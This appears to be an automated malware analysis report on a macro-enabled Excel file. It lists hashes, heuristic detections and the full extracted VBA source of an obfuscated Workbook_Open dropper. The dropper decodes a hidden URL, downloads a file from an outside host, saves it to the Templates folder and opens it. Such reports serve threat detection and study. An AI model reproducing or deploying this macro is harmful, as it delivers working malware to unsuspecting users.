Office (OOXML) / .XLSX malware analysis — malicious · b867a3e0bbb07a5d

MALICIOUS

Office (OOXML) / .XLSX

111.0 KB Created: 2026-04-02 06:26:39 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2026-06-23

MD5: dd1d2edf57534bfe12a12387b0c0473b SHA-1: d848865995197fef57232b37365ca7195f3e6f47 SHA-256: b867a3e0bbb07a5d9d5f8b6192bd35fb41b39b50fbcdd588e6c93ea33cbce269

248 Risk Score

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set PinfjYbfj = CreateObject("WScript.Shell")
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
sFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlD = AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set PinfjYbfj = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	7575 bytes
SHA-256: `916fa8c969900f00ed7a5143e0fe51e3ce042af9f017ce6cde2b9bd15ee3ed66`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_Open() Dim yDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynH As Integer yDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynH = Chr(50) + Chr(48) + Chr(48) Dim PinfjYbfj As Object Dim SpecialPath As String Set PinfjYbfj = CreateObject("WScript.Shell") SpecialPath = PinfjYbfj.SpecialFolders("Templates") Dim KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk Dim sFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlD Dim mLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycDoEIKCcEjTPDYOFTeMMzmMjwKrIvzYMKE Dim LNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycD Dim ybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATc Dim WTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxe As Integer Dim AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE Dim GdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu WTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxe = 1 Range("A1").Value = "Please wait" MsgBox "Please wait...." Set AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE = CreateObject("microsoft.xmlhttp") Set ybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATc = CreateObject("Shell.Application") LNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycD = SpecialPath + mnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFi("\FKÚáÚØáN.ÂÛÂ") AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE.Open "get", mnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFi("hÖÖÓÕ://jÕ-hÙÔlÄÅg.ÁÒm/wÓ-ÁÒÅÖÂÅÖÕ/wÓ-ÁÒÅÖÂÅÖÕ/ÁlmÅbvÁÛzbhÄÒÂÔÓghjkÙÄÒÓlkjÙÜÖgbÒÄÙÜÖÔÂwqÀÕdÃvÃÔÂÕwqÀzÛ/ÕÁÔÂÂÅ.ÂÛÂ"), False AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE.send sFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlD = AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE.responseBody If AwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgE.Status = 200 Then Set KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk = CreateObject("adodb.stream") KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk.Open KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk.Type = WTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxe KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk.Write sFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlD KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk.SaveToFile LNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycD, WTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxe + WTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxe KCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnk.Close End If ybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATc.Open (LNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycD) End Sub Public Function mnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFi(mAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwI) oEIKCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZ = " ?!@#$%^&()_+\|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåØ¶§Ú¥" LPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNu = " ¿¡@#$%^&()_+\|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNØ¶QR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY" For i = 1 To Len(mAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwI) ATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycDoEIKCcEjTPDYOF = InStr(oEIKCcEjTPDYOFTeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZ, Mid(mAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwI, i, 1)) If ATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycDoEIKCcEjTPDYOF > 0 Then TeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRv = Mid(LPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNu, ATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwIwuoGDZJUZWizAVWgElOeKQksiNIJHMxqycDoEIKCcEjTPDYOF, 1) xeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu = xeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu + TeMMzmMjwKrIvzYMKEWTqMlrnyBQmnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRv Else xeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu = xeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu + Mid(mAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsumLoSQynHypCNwvjjKSfHbGfwI, i, 1) End If Next mnxGBfuNiAvkQYZXdOHOsFEUYcSsHAkRTpRVkuOdPCdzybIZLPpPbUnkGdBtpBShCqzWRvxeyDLBhqqotQXfJVVlpskIXQAilFi = xeyDLBhqqotQXfJVVlpskIXQAilFimAwgtSSuCOrKqNgFgrlDnJtEJGRjxFGPoiLNuATcRxstrwhovLmmCsu End Function Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	23552 bytes
SHA-256: `cecc4253e7099add55c148638a9eabb1a722e53e7de5daa90a0eac54332208ec`
Detection ClamAV: No threats found Obfuscation or payload: likely 106 of 196 identifiers look randomly generated (e.g. 'swKUqDqdDZYBjAmqPqBvNKhDcTPctHdQZxsVXEYe') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).

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